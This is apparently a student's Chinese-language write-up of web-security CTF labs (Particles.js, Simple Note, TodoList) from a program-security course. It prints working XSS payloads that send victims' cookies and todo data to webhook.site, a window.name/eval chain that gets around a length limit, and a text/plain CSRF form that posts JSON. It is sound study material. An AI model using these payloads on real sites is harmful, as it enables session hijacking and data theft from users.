--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x0b] Web II(程式安全) lecture: https://youtu.be/r-WGQuEpRVk slide: https://drive.google.com/file/d/1wRNMRO6JzA3taST9dvC_jmf7aOm-K66T/view?usp=sharing <!-- 這邊解題目會用到這個 https://webhook.site/#!/78a14f9e-5d69-4ab1-8836-3040ba14bddb/7c150098-b491-4973-9743-cb763e5b59f2/1 --> ### [LAB] Particles.js 我們可以提供題目 `?config=hwllo` ![](https://i.imgur.com/F9M9Jf8.png) 可以看到會被 reflect 到網頁上 這邊發現會擋單引號 所以不能直接結束他的單引號 不過這裡可以使用反斜線來跳脫他的單引號 然後再把 `<script>` 結束掉 然後在開一個 `<script>` 來放自己的 `payload` 只要把 `config` 設成以下就可以把 `victim` 的 `cookie` 帶到我這邊 ###### `config` ``` 1;alert();</script> <script> location= `https://webhook.site/78a14f9e-5d69-4ab1-8836-3040ba14bddb?` +document.cookie </script>\ ``` ###### `植入後的樣子` ![](https://i.imgur.com/EOvNLay.jpg) 所以只要把下面這個送給 `admin` 就可以偷走他的 `cookie` 了 http://particles.ctf.zoolab.org/?config=1%3balert()%3b%3c%2fscript%3e%3cscript%3elocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%60%2bdocument.cookie%3c%2fscript%3e%5c ###### `送 payload 給 admin` ![](https://i.imgur.com/KwsjgdG.png) ###### `收到 admin 的 cookie` ![](https://i.imgur.com/HTmzOzs.png) ### [LAB] Simple Note 進到題目發現是個可以寫 `Note` 的地方 ![](https://i.imgur.com/O1Jb4Ng.png) 寫一個 `Note` 送出後會跑到另一個頁面 那個頁面會從前端去 `fetch` 我們寫的那個 `Note` ![](https://i.imgur.com/Q3kQHSU.png) 可以看到上面 `:24` 的 `title` 是我們可控的 而且他用的是危險的 `innerHTML` 可以使用 `<img src=x onerror='alert()'>` 來達成 `XSS` 不過他的 `title` 後端有限制 40 個字 ###### `字數限制` ![](https://i.imgur.com/gRZD0Mh.png) 這邊就利用 `eval(window.name)` 來繞 這邊先讓 `victim` 到自己可控的網頁把 `window.name` 控制成偷餅乾的 `payload` 然後把 `victim` 導向有我們 `eval(window.name)` `XSS` 的 `note` 這樣就會執行到我們的 `payload` 這邊可以使用上一題的 `XSS` 來控制 `window.name` 及導向 `note` ###### `利用上一題的 XSS 控制 window.name` https://particles.ctf.zoolab.org/?config=1%3balert()%3b%3c%2fscript%3e%3cscript%3ewindow.name%3d%22location%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%60%2bdocument.cookie%22%3blocation%3d%60http%3a%2f%2fnote.ctf.zoolab.org%2fnote%2f7c1082165ea6aefc7673d16d%60%3c%2fscript%3e%5c ###### `利用自己的網頁控制 window.name` ```url https://ching367436.github.io/hserver/h.html? url=https://note.ctf.zoolab.org/note/7c1082165ea6aefc7673d16d& name= location=`https://example.com/?${document.cookie}` ``` #### `Exploitation` ##### Step1 製作一個內容有這個的 `note` ```html <img src=x onerror='eval(window.name)'> ``` ##### Step2 控制 `window.name` 先把 `victime` 帶到我們可控的地方 在那個地方把 `window.name` 設成我們要執行的 `script` 也就是偷 `cookie` ###### `window.name` ```javascript // send cookie to example.com location= `https://example.com/?${document.cookie}` ``` ##### Step3 把 `victim` 重新導向到 `Step1` 設好的 `note` 裡面 這樣子就會執行 `eval(window.name)` 也就是 `Step2` 的偷 `cookie` 的 `script` ##### Step4 最後只需要把上面做好的 `Exploit` 送給 `admin` 就好了 ###### `送 payload 給 admin` ```http POST /report HTTP/1.1 Host: edu-ctf.zoolab.org:10204 Content-Length: 259 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://edu-ctf.zoolab.org:10204 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.95 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://edu-ctf.zoolab.org:10204/note/7c1082165ea6aefc7673d16d Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ofmvir92rth2rumh20s133dog7 Connection: close url=https%3a%2f%2fching367436.github.io%2fhserver%2fh.html%3furl%3dhttp%3a%2f%2fedu-ctf.zoolab.org%3a10204%2fnote%2f7c1082165ea6aefc7673d16d%26name%3dlocation%3d%60https%3a%2f%2fwebhook.site%2f78a14f9e-5d69-4ab1-8836-3040ba14bddb%3f%24%7bdocument.cookie%7d%60 ``` ###### `收到 admin 的 flag` ![](https://i.imgur.com/r3qEfXT.png) ### [HW] TodoList 進來題目看到一個登入註冊頁面 這個網站使用了 `Express` `nginx` ![](https://i.imgur.com/rOOK3Pj.png) 來檢查一下 `headers` ```html= < HTTP/1.1 200 OK < Server: nginx/1.18.0 (Ubuntu) < Date: Fri, 30 Dec 2022 00:32:04 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 1774 < Connection: keep-alive < X-Powered-By: Express < ETag: W/"6ee-bnJV5par9WDmoo5lLhS2htEFrgk" < <!DOCTYPE html> <html lang="en"> <head> <title>Simple Note</title> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-31d28cf6966b06f2bab2d9bfeca941ea' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"> ... <script nonce="31d28cf6966b06f2bab2d9bfeca941ea"> var action = "Login"; var switchAction = function(e){ action = e.target.innerText; btn.innerText = action; } kbdLogin.onclick = kbdRegister.onclick = switchAction; btn.onclick = function(e){ fetch(`/api/${action.toLowerCase()}`,{ method: "POST", body: JSON.stringify({username:username.value, password:password.value}) }).then(r => r.json()).then(e => { if (e.error) alert(e.error); if (e.success) location = '/todo'; }) } </script> </body> </html> ``` `:14` 可以看到有 `CSP` `dompurify` `nonce` 感覺是個前端題 這邊知道是 `Express` 不過還是試一下 `.git` `robots.txt` 都沒東西 而且連 `404` 頁面都有 `CSP` ```html < HTTP/1.1 404 Not Found < Server: nginx/1.18.0 (Ubuntu) < Date: Fri, 30 Dec 2022 00:37:36 GMT < Content-Type: text/html; charset=utf-8 < Content-Length: 143 < Connection: keep-alive < X-Powered-By: Express < Content-Security-Policy: default-src 'none' < X-Content-Type-Options: nosniff < <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>Error</title> </head> <body> <pre>Cannot GET /.git</pre> </body> </html> ``` 看到這邊回去看看題目要我們做什麼 ![](https://i.imgur.com/BJ7VTqW.png) 結果發現有 `source code` 我們要做的事情是拿到 `admin` 的 `flag` 就先來看看 `source code` #### source `docker-compose.yml` ```dockerfile= version: '3.7' services: bot: build: context: ./bot restart: always environment: - PORT=8080 - SITE=https://todo.ctf.zoolab.org/ # Admin will login to https://todo.ctf.zoolab.org, but for local test, you should set this to something like https://localhost:443 - REPORT_HOST=web - ADMIN_PASSWORD=dummypassword web: build: context: ./web environment: - BOT_HOST=bot - BOT_PORT=8080 - FLAG=FLAG{dummyflag} - ADMIN_PASSWORD=dummypassword restart: always ports: - "18443:443" ``` 看到有分成 `bot` `web` 兩個部分 來看 `web` `web/src/package.json` ```json= { "dependencies": { "ejs": "^3.0.1", "express": "^4.18.2", "express-session": "^1.17.3", "https": "^1.0.0", "xfetch-js": "^0.5.0" }, "scripts": { "start": "node app.js" } } ``` 看到 `:10` 進入 `app.js` #### `web/src/app.js` ![](https://i.imgur.com/LTTNFjQ.png) 看到架構 決定順著我們進入的網頁順序看 來看 `app.get("/api/login")` ![](https://i.imgur.com/LZM0iP0.png) `:91` 看到他用了叫做 `db` 的東西 來看看那是什麼 ![](https://i.imgur.com/FClPohj.png) 原來那是 `js` 的 `Map` 我們還看到了 `:27` 會把 `flag` 放到 `db.get("admin").todo[0].text` 裡面 回來 `app.get("/api/login")` `:88,89` 的 `username` `password` 很嚴格 `:95` 我們知道 `req.session.username` 有被設的話就是登入成功 也許會有什麼地方我們可以控制這個 或是有哪邊沒有檢查到 `req.session.username` 的功能 總共有 8 個地方出現了 `req.session.username` 目前看來都有把該處理的地方處理 ![](https://i.imgur.com/AmuQvuJ.png) 接著來看看前端的部分 ##### `web/src/views/todo.ejs` ```html= <!DOCTYPE html> <html lang="en"> <head> <title>Note</title> <meta http-equiv="Content-Security-Policy" content="script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"> <link rel="stylesheet" href="https://cdn.simplecss.org/simple.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js"></script> </head> <body> <main> <h1>TODO List</h1> <hr> <article id="container"> </article> <input type="text" id="inputNode" style="width: 100%"> <input type="hidden" id="csrfToken" value="<%= csrfToken %>"> <button id="logout">Logout</button> <button id="report">Report</button> </main> <script nonce="<%= nonce %>"> var todoList = []; async function updateTodoList(){ todoList = await fetch('/api/todo').then(r=>r.json()); render(); } function saveTodoList(e){ let id = e.target.id; todoList[id].checked = 1; fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})}); } function render(){ container.innerHTML = ''; for(let i = 0; i < todoList.length; i++){ let item = todoList[i]; let tmpNode = document.createElement("label"); tmpNode.innerHTML = `<input type="checkbox">&nbsp;<code></code>`; tmpNode.firstChild.checked = item.checked; tmpNode.firstChild.id = i; tmpNode.firstChild.onchange = saveTodoList; tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text); container.appendChild(tmpNode); } } inputNode.onkeypress = function(e){ if (e.key === 'Enter') { todoList.push({checked: 0, text: inputNode.value}); fetch('/api/todo', {method: 'POST', body: JSON.stringify({todo: todoList, csrfToken: csrfToken.value})}).then(()=>render()); inputNode.value = ''; } }; logout.onclick = ()=>{ location = '/api/logout'; }; report.onclick = function(e){ let url = prompt("URL:"); fetch('/api/report', { method: 'POST', body: JSON.stringify({ url, csrfToken: csrfToken.value }) }).then(r=>r.text()).then(t=>alert(t)); } window.onload = updateTodoList; setInterval(updateTodoList, 500); </script> </body> </html> ``` <!-- Using XSS in one iframe to read another same-origin iframe Apply CSS to nearby nodes of hidden input using `has`, `+` or `~` CSS selectors Use text/plain CSRF to POST json XSS payload --> 看到 `:31,43` 的 `render` 有 `innerHTML` 出現 其中我們能控制的的部分在 `:40` 只是會被 `DOMPurify.sanitize` ```javascript tmpNode.lastChild.innerHTML = DOMPurify.sanitize(item.text); ``` <!-- 到這邊想了一下要從那邊生出 `XSS` 想到還有其他題目可以用 --> 而且 `:5` 還有 `CSP` 丟 `CSP Evaluator` 看看 ```csp script-src 'nonce-<%= nonce %>' https://cdnjs.cloudflare.com/ajax/libs/dompurify/2.4.1/purify.min.js ``` ![](https://i.imgur.com/L9eJdJ3.png) 這裡有 `dompurify` 的可用 `tag` https://github.com/cure53/DOMPurify/blob/1.0.8/src/tags.js 這邊想了 `<base>` 會被過濾 不過可以植入 `<style>` 拿來偷資料 或是哪邊有 `DOM Clobbering` 之類的 #### XSS {%hackmd hackmd-dark-theme %} 在 `app.post("/api/report")` 有 XSS,只是是 POST 的,而且還要 CSRF token。 CSRF token 由以下方式構成,而由於是跑在 Docker 上,所以大家的 `req.ip` 都會一樣,`csrfToken` 是固定的值。可以看出 `csrfToken` 可以重複利用。 ```javascript salt = crypto.randomBytes(4).toString('hex'); csrfToken = salt + crypto.createHash('md5').update(salt + req.ip + csrfSecret, 'utf8').digest('hex') ``` 依照上面的觀察,可以構造出以下自動 XSS 的 payload,只要把 `csrfToken` 置換成任意合法的 `csrfToken` 就可以自由 XSS 了。 ```html https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json <form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain"> <input name=' { "url": "https://www.google.com/<script>alert(1)</script>", "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a", "ignore_me":"' value='test"}' type='hidden'> </form> <script> document.forms[0].submit(); </script> ``` 以下是最終的 payload: ```html https://security.stackexchange.com/questions/127237/xss-not-exploitable-when-post-data-is-sent-in-json <form action="https://192.168.50.42:18443/api/report" method="post" enctype="text/plain"> <input name=' { "url": "https://www.google.com/<script> (async ()=> { let res = await fetch(`/api/todo`).then(r=>r.text()); location=`https://webhook.site/cea0effe-97b0-48a6-9ec3-cdd8fc904d57?`+res; })(); </script>", "csrfToken": "5247f5add4ef3a498ff6d4cfa422200db14af04a", "ignore_me":"' value='test"}' type='hidden'> </form> <script> document.forms[0].submit(); </script> ``` ![](https://hackmd.io/_uploads/HkPSPni_n.png)